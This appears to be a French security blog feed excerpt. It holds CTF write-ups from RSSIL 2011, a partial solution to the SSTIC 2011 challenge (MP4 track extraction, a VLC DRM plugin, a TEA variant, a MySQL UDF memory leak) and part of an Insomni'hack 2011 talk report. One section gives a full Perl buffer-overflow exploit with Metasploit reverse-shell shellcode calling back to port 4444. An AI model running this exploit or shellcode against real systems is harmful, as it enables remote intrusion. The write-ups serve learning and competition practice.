Le token est aléatoire, et le timestamp a été généré avec :

php -r "echo dechex(time());";
4de08b50

Bien entendu, vu que le token est invalide, on se tape une erreur 401. Mais on obtient une ligne intéressante dans le error.log :

May 28 05:08:36 2011] [warn] [client 192.168.0.132] mod_auth_token: failed token auth
(got '57CA88C9F83CD5B8B4807BEE940B62EC', expected '448741538E5D997F7AB9D88D0ED79CE9',
uri '/token/hash/57CA88C9F83CD5B8B4807BEE940B62EC/index.php')

On obtient carrément le token attendu ! Du coup, il suffit de le prendre en remplaçant le token bidon que nous avions mis. On rejoue la requête… et on tombe sur une erreur 404 Not Found. Visiblement, il n’y a pas de fichier index.php. On tente alors index.html, pour voir… Même technique : on envoie d’abord un token foireux, on regarde celui attendu dans le message d’erreur généré, puis on renvoie le bon. Et bingo, on obtient le flag de validation. Easy, finalement.

Appli – Ken Laden

Il s’agit de l’épreuve sur laquelle je me suis le plus acharné de la nuit. Elle n’était pas d’une grande difficulté en soi, mais les informations données au compte goutte donnaient tout son intérêt à cette épreuve.

Le but était de prendre le contrôle d’un serveur Web pour récupérer un flag situé dans le dossier juste au dessus de la racine du serveur. Seules informations données :

• La machine est une Debian 6 (noyau 2.6.32-5 x86)
• Pas d’ASLR

La racine du serveur Web ressemble à ceci :

Racine du serveur

Après quelques requêtes effectuées sur le serveur, une partie de la page attire mon attention :

Your protocol : HTTP/1.1

Je forge alors une requête avec un protocole bidon :

s = socket.socket()
s.connect(("192.168.0.204", 20080))
s.send("GET /"+" HTTP/" + ("a"*50) + "\r\nHost:192.168.0.204:20080\r\n\r\n")
print s.recv(4096)

Et j’obtiens :

Your protocol : HTTP/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Compte tenu des informations données, il est tentant de tenter un buffer overflow à ce niveau. Je rejoue donc cette requête en incrémentant le nombre de « a », et parviens à faire crasher la connexion avec environ 600 caractères. En diminuant à tatons, je trouve le nombre de caractères limite : 505. Ce nombre est toutefois aproximatif. L’idéal serait d’inspecter le code du serveur…

C’est là que l’on remarque que deux fichiers nommés rssild.pcat_dump et rssild.maps sont présents dans le directory listing du serveur. Le premier, dans un format a priori inconnu, contient 128 Mo de données binaires. Le deuxième contient le texte suivant :

0x8048000 0x804a000
0x804a000 0x804b000
0xb7e95000 0xb7e96000
0xb7e96000 0xb7fd6000
0xb7fd6000 0xb7fd8000
0xb7fd8000 0xb7fd9000
0xb7fd9000 0xb7fdc000
0xb7fdf000 0xb7fe2000
0xb7fe2000 0xb7fe3000
0xb7fe3000 0xb7ffe000
0xb7ffe000 0xb7fff000
0xb7fff000 0xb8000000
0xbffdd000 0xc0000000

Cela ressemble étrangement à une cartographie mémoire, la 1ère ligne correspondant aux adresses de début et de fin de la section .text du binaire mappé en mémoire. Quant au 1er fichier, quelques recherches Google sur « pcat » nous amènent sur un article fort intéressant de la team Nibbles, où il est justement question de ces 2 types fichiers. On y apprend que l’outil pcat permet de dumper la mémoire virtuelle d’un processus en cours d’exécution. Visiblement, l’auteur a été sympa en nous fournissant un tel dump. Le fichier maps permet de s’y retrouver en utilisant les bons offsets afin de dumper les sections intéresantes. Un bout de code Python est même donné, mais il n’est pas adapté dans notre cas car nous ne disposons pas du nom des sections. Qu’à cela ne tienne, nous pouvons dumper la section .text manuellement :

f = open("rssild.pcat_dump","rb")
f.seek(0x8048000)
a = f.read(8192) # 0x804a000 - 0x8048000
open("text.bin","wb").write(a)

On ouvre le binaire avec IDA, qui affiche quelques erreurs compte tenu du fait qu’il s’agisse d’un binaire incomplet – uniquement la section .text, pas de table des symboles. Dans la fenêtre Strings, mon attention se porte sur une référence à « Your protocol : », affiché sur la page Web :

Strings

On follow tout ça, et on arrive à un appel du type :

lea     eax, [esp+0EAE8h]
mov     [esp], eax
call    sub_80490BA
mov     eax, offset aBStyleColorC9d ; "...Your protocol : %s..."
lea     edx, [esp+0EAE8h]
mov     [esp+4], edx
mov     [esp], eax
call    sub_8048930

Deux appels de fonction, manipulant chacun le même paramètre ([esp+0EAE8h]). Il semble s’agir de la chaîne comportant le protocole. Regardons de plus près la 1ère fonction :

push    ebp
mov     ebp, esp
sub     esp, 218h
mov     eax, [ebp+arg_0]
mov     [esp+4], eax
lea     eax, [ebp+var_1FC]
mov     [esp], eax
call    sub_8048920
leave
retn

On alloue un buffer statique, et on appelle une fonction qui prend en paramètre ce buffer ainsi que la chaîne… Cela rappelle étrangement un strcpy() ! Cependant, on ne peut pas le vérifier immédiatement vu que les symboles ne sont pas présents, ni les sections .plt et .got. En tout cas, la tentation est grande ! Si on regarde de plus près, 0×218 octets sont alloués sur la pile, mais le buffer dans lequel est recopié la chaîne ne fait que 0x1fc octets, soit 508. Si on ajoute à cela la valeur sauvegardée d’EBP, on obtient 512 octets. C’est cette quantité qu’il faudra réécrirre si l’on souhaîte écraser la sauvegarde d’EIP, située juste après.

En supposant qu’il n’y ait pas de protection de la pile (pas de NX), l’exploitation par shellcode est faisable. On génère un payload Metasploit avec msfpayload et msfencode (pour ne pas obtenir de caractère nul, ni de \n ou \r) qui effectue une reverse connection sur notre port 4444, et on code un petit exploit (en Perl, puisque c’est le langage de prédilection de mon coéquipier Djo) :

#!/usr/bin/perl

use IO::Socket;

if (@ARGV < 1)
{
print "[-] Usage:   \n";
print "[-] Exemple: file.pl 127.0.0.1 21\n\n";
exit;
}

$ip 	 = $ARGV[0];
$port 	 = $ARGV[1];
$paddind = "A"x408;
$eip  = "\x3b\x99\x04\x08"; #call *(%eax)

#revers tcp 192.168.0.10 4444 - 99 bytes
$SC = "\xb8\x95\x94\x45\x41\xda\xca\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x13\x31\x46\x12\x83\xc6\x04\x03\xd3\x9a\xa7\xb4\xea" .
"\x79\xd0\xd4\x5f\x3d\x4c\x71\x5d\x48\x93\x35\x07\x87\xd4" .
"\x6d\x99\x7f\x15\x39\x25\x8a\xf3\x52\x34\xd6\x9d\xf1\x5c" .
"\xf6\x30\xa6\x29\x17\xf1\x2c\x4f\x80\x3b\x30\xd6\xb7\x1d" .
"\x81\xd7\x7a\x1d\xab\x5e\x7c\x4e\x44\x8f\x51\x1c\xfc\xa7" .
"\x82\x80\x95\x59\x54\xa7\x36\xf6\xef\xc9\x07\xf3\x22\x89" .
"\x62" . $paddind . $eip;

$evil 	= "GET / HTTP/$SC\r\nHOST:$ip:$port\r\n\r\n";

$socket = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$ip",
PeerPort => "$port") || die "[-] Connecting: Failed!\n";

print "Please Wait...\n";

$socket = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$ip",
PeerPort => "$port");
$socket->send($evil);
$socket->recv($answer,2048);
print $answer;
print "\n";
close($socket);

Ajoutons à cela un petit netcat ouvert en local sur le port 4444, et bingo ! On obtient un shell distant, qui nous permet d’afficher le flag de l’épreuve. 700 points de validés d’ou coup !

Notons qu’au moment voulu, nous avons beaucoup plus galéré que ça, principalement à cause de la fatigue… L’auteur de l’épreuve, ipv, a été assez sympa pour leaker le binaire du serveur, ce qui nous a pas mal aidé. Mais finalement et avec un minimum de recul, il n’y en avait nullement besoin pour résoudre l’épreuve.

Le reste

Le challenge était également composé de plein d’autres épreuves de types variés, de mémoire :

• Wifi : une épreuve de cassage de clés WEP et WPA- classique, sauf que quand on ne dispose pas de chipset ni de clé adéquate, on fail. Sinon, il y avait aussi une épreuve visant à exploiter une faille sur une Livebox à partir d’un accès utilisateur limité sur le portail Web.
• Social Engineering : toute une série d’épreuves non techniques assez sympa, comme par exmple se faire passer pour une personne en reconstituant son CV à partir d’informations glanées sur le net, téléphoner à un numéro et trouver un prétexte pour demander un mot de passe, et même récupérer un maximum de mots de passe appartenant aux étudiants d’IUT qui partiaipaient à un autre challenge à côté de nous
• Hardware : Une épreuve visant à reprogrammer une carte à puce pour trouver un code PIN, un challenge USB où il fallait programmer un Teensy pour bruteforcer un mot de passe en disposant uniquement d’un port USB pendant 2 min chrono… Heureusement que notre spécialiste hardware était là !
• Forensics / Reverse Engineering : déchiffrer un fichier sachant que le binaire ayant permis à le chiffrer était fourni, et 3 crack-mes ELF 64 bits, PE packé avec ASProtect, et MIPS.
• Réseau / VoIP : Du port-knocking, et des communications VoIP à intercepter entre plusieurs machines. Malheureusement, nous n’avons réussi aucune de ces épreuves…

Bref, pas de quoi s’ennuyer lors de cette longue nuit.

Retrouvez les solutions ainsi que les sources de certains de ces challenges sur Shell-storm.org.

Remise des prix

Au final, notre équipe remporte le challenge avec 6550 points, devant Error 404 (4025) et On_Va_p0wn_HzV (3900). Chacun des membres de notre équipe repart contre toute attente avec un ordinateur portable Compaq.

Scores intermédiaires

Scores définitifs

Nous tenons à féliciter toutes les équipes pour leur courage et leur acharnement. Un grand merci à toute l’équipe d’ACISSI pour sa générosité envers les gagnants, ainsi que pour avoir organisé un événement dont les nombreux challenges ne manquaient ni d’originalité, ni de qualité.

A bientôt pour un mois de juin chargé avec le SSTIC (8, 9 et 10), Hack In Paris (14-17), et la Nuit Du Hack (18-19)

Extraction des pistes

Le but est d’analyser une vidéo et d’en extraire un mail. Il s’agit d’une vidéo au format MP4. Ne connaissant absolument pas ce format au moment où je me suis penché sur le challenge, j’ai donc préféré me documenter sur le sujet. MP4 est en réalité un conteneur, et hérite de l’ISO Base Media File Format. Les specs de ce dernier sont libres de droits, mais pas celles de MP4. Qu’à cela ne tienne, elles suffisent amplement.

On y apprend que MP4 permet de stocker tout type d’information : vidéo, son, et autre. Un fichier MP4 est décomposé en boxes, qui sont structurées sous la forme d’un arbre. L’outil MP4Box permet de les parser, mais je ne l’ai découvert que tardivement ; aussi je me suis lancé dans l’écriture d’un outil manuel en Python.

E:\Challenges\SSTIC2011>boxes.py challenge
challenge {
  FileTypeBox(24 - ftyp - mp42 - 0),
  Box(4170138 - mdat),
  Box(277450 - mdat),
  Box(178748 - mdat),
  MovieBox(12507 - moov) {
    Box(108 - mvhd),
    TrackBox(5982 - trak - 0 ) {
      Box(92 - tkhd),
      SsticBox(12 - ssti)[   ?ssti    ],
      MediaBox(5822 - mdia) {
        Box(32 - mdhd),
        HandlerBox(33 - hdlr - vide -  ),
        MediaInformationBox(5749 - minf) {
          Box(20 - vmhd),
          DataInformationBox(36 - dinf) {
            DataReferenceBox(28 - dref) {
              1 entries
              DataEntryUrlBox(12 - url  - flags: 000001, url: )
            }
          },
          SampleTableBox(5685 - stbl) {
            SampleDescriptionBox(181 - stsd) {
              1 entries
              VisualSampleEntry(165 - mp4v - index: 1) {
                size: 640x480
                resolution: 0x00480000/0x00480000
                compressorname:
                depth: 0018

              }
            },
            Box(3248 - stts),
            SampleSizeBox(2092 - stsz) {
              sample_size = 0
              sample_count = 518

            },
            SampleToChunkBox(40 - stsc) {
              2 entries
            },
            ChunkOffsetBox(88 - stco) {
              18 entries
            },
            Box(28 - stss)
          }
        }
      },
      Box(48 - edts)
    },
    TrackBox(3492 - trak - 1 ) {
      Box(92 - tkhd),
      MediaBox(3372 - mdia) {
        Box(32 - mdhd),
        HandlerBox(33 - hdlr - soun -  ),
        MediaInformationBox(3299 - minf) {
          Box(16 - smhd),
          DataInformationBox(36 - dinf) {
            DataReferenceBox(28 - dref) {
              1 entries
              DataEntryUrlBox(12 - url  - flags: 000001, url: )
            }
          },
          SampleTableBox(3239 - stbl) {
            SampleDescriptionBox(103 - stsd) {
              1 entries
              Box(87 - mp4a)
            },
            Box(24 - stts),
            SampleSizeBox(2980 - stsz) {
              sample_size = 0
              sample_count = 740

            },
            SampleToChunkBox(40 - stsc) {
              2 entries
            },
            ChunkOffsetBox(84 - stco) {
              17 entries
            }
          }
        }
      },
      UserDataBox(20 - udta) {
        NameBox(12 - name -    ?name    )
      }
    },
    TrackBox(2917 - trak - 2 ) {
      Box(92 - tkhd),
      MediaBox(2817 - mdia) {
        Box(32 - mdhd),
        HandlerBox(45 - hdlr - data - SsticHandler ),
        MediaInformationBox(2732 - minf) {
          Box(12 - nmhd),
          DataInformationBox(36 - dinf) {
            DataReferenceBox(28 - dref) {
              1 entries
              DataEntryUrlBox(12 - url  - flags: 000001, url: )
            }
          },
          SampleTableBox(2676 - stbl) {
            SampleDescriptionBox(32 - stsd) {
              1 entries
              ElfEntry(16 - elf  - index: 1)
            },
            Box(24 - stts),
            SampleToChunkBox(1552 - stsc) {
              128 entries
            },
            SampleSizeBox(532 - stsz) {
              sample_size = 0
              sample_count = 128

            },
            ChunkOffsetBox(528 - stco) {
              128 entries
            }
          }
        }
      }
    }
  }
}

Le fichier est ainsi composé de 3 tracks : une video, une piste son, et une piste apparemment inconnue. On peut extraire chacune de ces pistes en utilisant les méta-données du fichier, et en particulier les tables STSZ, STSC et STCO. L’algorithme d’extraction n’est pas bien complexe et peut être trouvé grâce aux spécifications.

La piste audio est en clair, mais pas très utile – quelque chose qui ressemble à des frappes sur un clavier. La vidéo est illisible, a priori chiffrée grâce à des DRM. Enfin, la piste 3 n’est autre qu’un fichier ELF !

Analyse du fichier ELF

Avec IDA, on s’aperçoit rapidement que le binaire n’est autre qu’un plugin VLC. En effet, il comporte tous les symboles propres à ce type de plugin.On suppose que ce plugin est nécessaire à la lecture de ladite vidéo. Les sources de VLC permettant de se rendre compte qu’il s’agit en fait d’une version modifiée du plugin officiel libmp4.so. Un certain nombre de fonctions ont été ajoutées :

• sstic_drm_init()
• sstic_read_secret1(char*dir, char* buf1)
• sstic_check_secret1(char*buf1)
• sstic_read_secret2(char*dir, char*buf2)
• sstic_check_secret2(char*buf2)
• sstic_lame_derive_key(char* bufKey, char* buf1, char* buf2)

Il est possible de débuger le plugin en le plaçant dans le dossier des librairies de VLC sur une machine Linux, puis en s’attachant à VLC avec GDB.

En gros, sstic_drm_init() est appelée dès l’initialisation du plugin, et est chargée d’appeler les fonctions suivantes. Le but de ce plugin est de déchiffrer la vidéo a l’aide d’une clé générée à partir de deux fichiers, secret1.dat et secret2.dat situés dans le dossier ~/sstic2011/. Voici un schéma expliquant l’algorithme reversé à grand coup d’IDA et Hex Rays :

Pour résumer :

• secret1.dat (32 octets) est lu, puis son emprunte MD5 est calculée et comparée avec une constante présente en dur dans le binaire
• secret2.dat (1024 octets) est lu, puis déchiffré à l’aide d’un algorithme symétrique maison (cf plus bas) et d’une clé fixe stockée. Le plaintext résultant est comparé à un plaintext lui aussi stocké en dur.
• Si les deux tests précédents réussissent, les 2 secrets originaux sont passés à la fonction sstic_lame_derive_key, qui ne fait que les xorrer pour finalement obtenir un secret de 32 octets (pour secret1.dat, qui fait 1024 octets, tous les blocs de 32 octet sont xorrés)
• Le secret résultant est utilisé comme une clé RC2 qui servira à déchiffrer chaque sample de la vidéo lors de sa lecture. Au passage, l’implémentation RC2 est la même que celle d’OpenSSL, pas de soucis de ce côté la.

Autrement dit, il nous faut nécessairement secret1 et secret2 si l’on veut déchiffrer la vidéo. C’est là que les choses se compliquent…

Secret2.dat : Crypto + MMX

Pour trouver secret2.dat, on remarque qu’il « suffit » d’inverser l’algorithme de déchiffrement implémenté dans la fonction « decrypt », pour trouver le chiffré qui donnera le bon clair une fois déchiffré. Cependant, il ne s’agit pas directement d’un algorithme standard… Celui-ci utilise massivement les instructions Intel MMX, qui manipulent des entiers sur 128 bits. Le code ASM est une horreur, et je ne parle pas du listing généré par Hex Rays…

Pas moins de 351 variables, plus de 2100 lignes de code, et des opérations logiques dans tous les sens. Miam ! Bon, on prend notre courage à deux mains, et on y va. Premièrement, on remarque l’utilisation de constantes un peu particulières.

for ( sum = 0x9E3779B9 * a3; ; sum += -0x9E3779B9u ) {

Notre ami Google nous indique qu’une boucle faisant intervenir de telles constantes est utilisée par les algorithmes TEA et XTEA. Cependant, ces algorithmes ont une taille de clé de 128 bits, et une taille de bloc de 64 bits, alors qu’ici, la clé fait 2048 octets…

Deuxièmement, on s’aperçoit qu’il y a beaucoup de code redondant dans ce listing. Cela est du à l’utilisation intensive des techniques de loop unrolling, qui consistent en gros à minimiser le nombre de tours dans une boucle en écrivant n fois la même instruction dans un tour (appliqué à des données différentes).

Troisièmement, en supposant qu’il s’agisse de l’algorithme TEA, la logique voudrait qu’on trouve des opérations + et -. Or ce n’est pas le cas ici ; on a affaire à des opérations logiques uniquement. Après on long moment de réflexion, je me suis rendu compte que ces opérations logiques servent en réalité à propager des retenues… utilisées justement lors des opérations d’addition et soustraction. On se rend ainsi compte que chaque addition a été remplacé par une série de xor, not et and équivalente au schéma suivant :

Additionneur

Attention, chaque fil ici représente non pas 1 bit, mais 128, soit 16 octets ! En gros, l’auteur du challenge a réimplémenté son propre + et – en recodant ces 2 opérations, prenant comme unité 128 bits de données. Soit !

En utilisant toutes ces information, et une bonne dose de motivation, j’ai pu confirmé qu’il s’agit bien de l’algorithme TEA, qui finalement n’est pas si complexe que ça (cf Wikipédia) :

void decrypt (uint32_t* v, uint32_t* k) {
    uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  /* set up */
    uint32_t delta=0x9e3779b9;                     /* a key schedule constant */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i<32; i++) {                         /* basic cycle start */
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum -= delta;
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}
A la différence près que les uint32 de ce code doivent être remplacés par des blocs de 16 octets. Autrement dit, toutes les tailles doivent être multipliées par 4. Cela n’étant pas standard, il n’existe aucune librairie (à ma connaissance) faisant cela. Il est donc nécessaire de recoder l’opération encrypt() à la main !
Pour cela, j’ai copié/collé le code d’Hex Rays dans un fichier .c, puis je l’ai adapté afin qu’il compile dans un premier temps avec Visual Studio. Puis je l’ai optimisé en taille (suppression du loop unrolling). Et enfin, je l’ai inversé afin d’effectuer non pas un déchiffrement, mais un chiffrement.
On lance tout ça avec le plaintext et la clé tous deux stockés en dur dans le programme, et on obtient un secret2.dat valide. J’ai pu le confirmer en debuggant le plugin avec GDB, un breakpoint étant posé au bon endroit dans sstic_check_secret2(). Et une étape de passée !
Secret1.dat : MySQL, UDF and rock’n roll
Ici, contrairement à secret2.dat, nous ne disposons que du MD5 du fichier. Bruteforcer 32 octets étant une perte de temps, il doit donc y avoir un moyen de l’obtenir… J’ai séché pendant pas mal de temps, et c’est là que l’appel à un ami a servi (merci Dad) !
Ceux qui ont regardé le fichier original de la vidéo dans un éditeur auront certainement remarqué le « introduction.txt ». Il s’agit en réalité du nom d’un fichier texte qui a été gzipé et embarqué dans la vidéo. Malheureusement, il n’est pas en un seul bloc, mais en plusieurs, qui ont été éparpillées dans le fichier, aux endroits non utilisés (un fichier MP4 peut contenir du « vide »). Lors de notre opération d’extraction des pistes, nous nous sommes focalisés sur les données utiles du fichier. Et si nous faisions l’inverse ? Le fichier gzip peut être obtenu justement grâce à ce procédé, c’est-à-dire en suppriment tous les chunks non utilisés du fichier.
Une fois décompressé, on obtient la notice suivante :
Cher participant,
Le développeur étourdi d'un nouveau système de gestion de base de données
révolutionnaire a malencontreusement oublié quelques fichiers sur son serveur
web. Une partie des sources et des objets de ce SGBD pourraient se révéler
utile afin d'exploiter une éventuelle vulnérabilité.
Sauras-tu en tirer profit pour lire la clé présente dans le fichier
secret1.dat ?
url      : http://XX.XX.XX.XX/ login    : sstic2011 password : XXXXXXXX
--------------------------------------------------------------------------------
Toute attaque par déni de service est formellement interdite. Les organisateurs
du challenge se réservent le droit de bannir l'adresse IP de toute machine
effectuant un déni de service sur le serveur.
--------------------------------------------------------------------------------
On se connecte sur l’URL fournie, et on récupère trois fichiers :

udf.so
udf.c
lobster_dog.jpg (s’il s’agit d’une blague de l’auteur du challenge, je n’ai pas du la saisir  

UDF signifie User Defined Functions ; il s’agit de plugins MySQL permettant de rajouter des fonctions sur un serveur. Le port 3306 du serveur hébergeant ces fichiers est ouverts, et les mêmes identifiants fonctionnent. Il y a donc bien quelque chose à exploiter ici. Fouillons un peu :
mysql> select version();
+------------------+
| 1.3.337sstic2011 |
+------------------+
| 1.3.337sstic2011 |
+------------------+
1 row in set (0.56 sec)

mysql> show databases;
+----------+
| Database |
+----------+
|   system |
|    sstic |
+----------+
2 rows in set (0.22 sec)

mysql> use sstic;
Database changed
mysql> show tables;
+--------+
| Tables |
+--------+
|  users |
+--------+
1 row in set (0.20 sec)

mysql> select * from users;
+------+--------+----------------------------------+
| id   | login  | password                         |
+------+--------+----------------------------------+
| 0    | root   | 3e47b75000b0924b6c9ba5759a7cf15d |    => nothing
| 1    | guest  | a76637b62ea99acda12f5859313f539a |    => interesting
| 2    | nobody | 6c92285fa6d3e827b198d120ea3ac674 |    => here
| 3    | *      | 5058f1af8388633f609cadb75a75dc9d |    => .
+------+--------+----------------------------------+
4 rows in set (0.28 sec)

mysql> use system;
Database changed
mysql> show tables;
+-------------+
| Tables      |
+-------------+
| information |
+-------------+
1 row in set (0.23 sec)

mysql> select * from information;
+------------------+----------+
| version          | security |
+------------------+----------+
| 1.3.337sstic2011 | SECCOMP  |
+------------------+----------+
1 row in set (0.22 sec)
Visiblement SECCOMP est activé, ce qui nous empêchera d’effectuer des appels systèmes autres que read() et write() sur des fichiers déjà ouverts. Croisons donc les doigts pour que le serveur ouvre secret1.dat en lecture avant d’activer ce mode  
Une petite analyse du .c (analysé en partie sur ce blog) montre que celui-ci possède un bug dans la gestion d’un champ union, et est vulnérable à deux failles :

Une fuite d’information qui permet d’afficher n’importe quelle adresse mémoire
Une exécution de code à distance

Cependant, ces deux failles restents assez complexes à exploiter compte tenu du fait que nous sommes dans l’impossibilité de débugger le serveur distant, et que le udf.so donné ne parvient pas à se lancer sur un serveur MySQL standard. Au moindre problème, la connexion est coupée et il faut tout recommencer.
Toutefois, en exploitant la première faille et son bug de typage, on se rend compte que l’on peut obtenir des adresses mémoires :
mysql> select abs('lala');
+-----------+
| 153315552 |
+-----------+
| 153315552 |
+-----------+
1 row in set (0.59 sec)

mysql> select concat("", 153315552);
+------+
| lala |
+------+
| lala |
+------+
1 row in set (0.20 sec)
En réalité, 153315552 n’est pas directement l’adresse de la chaîne « lala », mais l’adresse de la structure « val » correspondante, qui ressemble à ceci :
struct val {
  int unknown;
  union value {
    int i;                    //4
    void * p;                 //4
  }
  int size;                   //8
  int *(expand)(val*);        //12
}
En gros, on peut demander à la fonction concat() de traiter une fausse structure située à une adresse choisie. Selon que l’on passe cette structure en 1er ou 2ème argument à la fonction, cela débouche soit sur une exécution de code (pointeur expand) ou sur une fuite (pointeur p).
Étant donné le caractère « blind » de cette exploitation, j’ai préféré dans un premier temps dumper le binaire du serveur MySQL. Celui-ci est chargé de façon standard à l’adresse 0×08048000. En forgeant une fausse structure et en la passant à substring(), elle aussi vulnérable, et en scriptant tout ça en python, et on récupère ce fameux binaire.
Seul soucis : celui-ci n’a aucun symbole et aucune table de section référencée. Impossible de le lancer, donc. En tout cas, on voit bien qu’il y a une référence à secret1.dat (les noms de fonction ne sont pas d’origine, mais ont été devinés).
int __cdecl my_open_secret1()
{
 int fd; // [sp+1Ch] [bp-Ch]@1

 fd = ((int (__cdecl *)(_DWORD, _DWORD))my_open)("secret1.dat", 0);
 if ( fd == -1 )
 sub_8048C28();
 return fd;
}
L’appel à open() est en réalité un appel à une fonction dans la section .plt du programme, qui utilise elle-même la section .got. Pour récupérer le code de cette fonction, j’ai utilisé toujours cette même faille de fuite d’information. Au final, l’adresse référencée est dans une librairie (adresse 0xb7XXXXXX). Son code est constitué d’instructions mov pour digitaliser des registres généraux, suivies d’un call *%gs:0×10, qui n’est autre qu’un appel système (le code appelé débouche certainement sur l’instruction sysenter ou int 0×80). La valeur d’eax, 5, permet de vérifier qu’il s’agit bien de sys_open. Le file descriptor retourné est stocké à l’adresse 0x0804F18C, est n’est autre que 3 (0, 1 et 2 correspondant respectivement à stdin, stdout et stderr).
Tout ce qu’il reste à faire, c’est donc trouver un moyen de faire exécuter un read() sur le file descriptor de secret1.dat afin de lire ses 32 octets qui nous manquent pour déchiffrer cette fichue vidéo. Seulement, je ne vois qu’une seule technique pour cela, et je n’ai pas eu le temps de la tester. La protection NX étant activée (pour s’en rendre compte il suffit de voire que l’exécution d’un ret situé dans le heap foire, alors qu’elle fonctionne dans la section .text), la seule solution reste à mon avis le Return Oriented Programming. Sauf que ne disposant ni d’une forte expérience dans cet art ancestral, ni d’une quantité de temps suffisante (les RSSIL approchent !), je n’ai pas eu le temps de creuser plus loin. Dommage, car j’ai vraiment l’impression d’être tout près du but… à un appel système près  . A supposer bien sûr que le déchiffrement de la vidéo est l’étape finale… (là, je sens comme un doute m’envahir)
To be continued
Comme l’année dernière, ce challenge réunit à la fois du parsing, du reverse engineering et de la crypto, mais en plus une partie exploitation de service à distance, sur laquelle j’ai buté. J’attends avec impatience la solution de l’étape manquante, à savoir la récupération de secret1.dat. En tout cas, je ne regrette pas avoir passé de nombreuses heures (jours, en fait) sur cette épreuve, qui m’aura fait quelques nœuds aux neurones.
]]>
			https://www.segmentationfault.fr/securite-informatique/solution-partielle-challenge-sstic-2011/feed/
		5
		
		
		
		https://www.segmentationfault.fr/securite-informatique/insomnihack-2011/
		https://www.segmentationfault.fr/securite-informatique/insomnihack-2011/#comments
		Mon, 07 Mar 2011 23:38:43 +0000
		Emilien Girault
				
		

		http://www.segmentationfault.fr/?p=871
		
			Ce week-end s’est déroulé Insomni’hack 2011, événement de sécurité se tenant à Genève. 4h de conférences, 6h de challenges, une bonne organisation et une ambiance détendue, tout ce qu’il fallait pour passer une bonne soirée. Comme Bruno, je me lance dans un compte-rendu des conférences et du challenge.


[UPDATE 03/03/2011 : la résolution de l'épreuve du padding oracle a été présentée au dernier meeting HZV, les slides sont en ligne ici]
Conférences
Sourcing and Management in IT Security
L’événement commence par une conférence orientée RSSI présentée par Sébastien Bombal, ayant pour thème la gestion du sourcing en matière de sécurité. Celle-ci aborde les problèmes causés par la cascade de sous-traitance, depuis les débuts de l’out-sourcing jusqu’au cloud-computing, ainsi que les normes associées. Autant le dire tout de suite : cela n’étant pas mon domaine, je n’ai pas vraiment réussi à suivre de bout en bout…
Mobile Malware In Practice
Axelle Apvrille expose dans cette conférence 3 exemples de virus ciblant les smartphones, et plus précisément Symbian. Le message est clair : les concepteurs de virus ne développent pas leurs bestioles pour le fun, mais pour se faire de l’argent. Le principe KISS s’applique aussi aux malwares ! Les exemples montrés se contentent d’envoyer des SMS à des numéros surtaxés, ou d’intercepter des codes d’accès bancaire.  Ce que qui parait fou, c’est que dans certains cas, ces malwares sont mêmes signés par Symbian ! En effet, comme l’a soulignée la chercheuse, toutes les applications ne sont pas systématiquement analysée avant d’être déployées sur le marché. On apprécie aussi les API obscures de Symbian, telles que celle permettant à toute application de désactiver les messages de confirmation utilisateur lorsque celle-ci souhaite avoir accès à Internet, ou encore celle qui installe silencieusement une application…
La cryptographie
Avec un tel titre, tout le monde s’attendait à un cours de crypto à la sauce universitaire, bourrée de formules dans tous les sens. C’est d’ailleurs ce que semble proposer son auteur, Pascal Junod.
La crypto, c'est cool !
Mais heureusement, après avoir exposé son sommaire qui se révèle être factice, l’auteur dévoile le véritable but de la conférence : faire un état de l’art de la cryptographie actuelle et de ses échecs pratiques. Une présentation extrèmement intéressante, qui appuie où ça fait mal : l’implémentation des algorithmes de chiffrement, et leur choix. Tout y passe : La XBox et TEA, WEP et RC4, MD5, IPSEC en mode encrypt-only, suites de chiffrement TLS 1.0 avec des tailles de clés minuscules, le secure boot des TI (RSA-512 cassé en 73 jours par un quad-core), et même l’ultra-célèbre LM-hash. Que reste-t-il au final ? AES, SHA-2 (bientôt SHA-3), RSA-OAEP et RSA-PSS.
Mais c’est sans compter les attaques side-channels, qui regroupent timing-attacks, injection de fautes, mesures de consommation et d’émanations électro-magnétiques. Et ces dernières sont d’autant plus critiques sur les plate-formes embarquées. Pascal termine alors par un benchmark des librairies opensource de crypto implémentant RSA-OAEP, vis-à-vis de leur résistance à l’attaque de Manger. Et le résultat est pour le moins… alarmant.
Résultats du benchmark
Aucune librairie (pas même OpenSSL) n’est à ce jour complétement protégée, et il s’agit d’un véritable problème sur plateformes embarqués. La faute en partie aux multiples brevets détenus par des sociétés spécialisées disposant d’algorithmes side-channel-proof…
Les outils du mentalisme au service du social engineering
Dominique Clementi montre dans cette conférence comment le mentalisme peut aider un social-engineer à arriver à ses fins. Le but du mentaliste étant d’embrouiller (fuzzer, si je puis dire !) ses victimes pour leur faire admettre l’idée que quelque chose de surnaturel s’est produit. Ses armes : des gimmicks, des outils automatiques, et surtout beaucoup de psycologie. Entre autres : suggestion, PNL, forçage, hypnose, cold reading… Une conférence très sympa qui m’a beaucoup rappelé les quelques années durant lesquelles j’ai pratiqué le close-up (que je pratique toujours, mais très accessoirement).
ASP.NET et la sécurité du Viewstate
Alexandre Herzog expose les failles de sécurité concernant le composant Viewstate des plateformes IIS. Il s’agit d’une variable d’état envoyée entre le navigateur et le serveur qui recense entre autres les différents contrôles sérialisés d’une page Web. Celle-ci est généralement envoyée par le biais d’un champ caché, mais également par l’URL. Le problème se pose alors lorsque le filtrage de cette variable fait défaut côté serveur, et mène à des XSS volatiles. Heureusement, par défaut un HMAC est effectuée sur cette dernière, ce qui la rend tamper-proof, et c’est d’ailleurs ce qui est conseillé afin d’éviter les attaques. L’auteur montre par ailleurs que le module de validation de requêtes d’ASP.NET est inefficace sur cette dernière, car il possède des filtres très minimaux. Il en est de même pour certaines versions du module d’encodage HTML (équivalent de htmlentities()), qui ne filtre pas les apostrophes avant .NET 4…
 
Un filtre à toute épreuve... ou pas.
Reinventing Old School Security
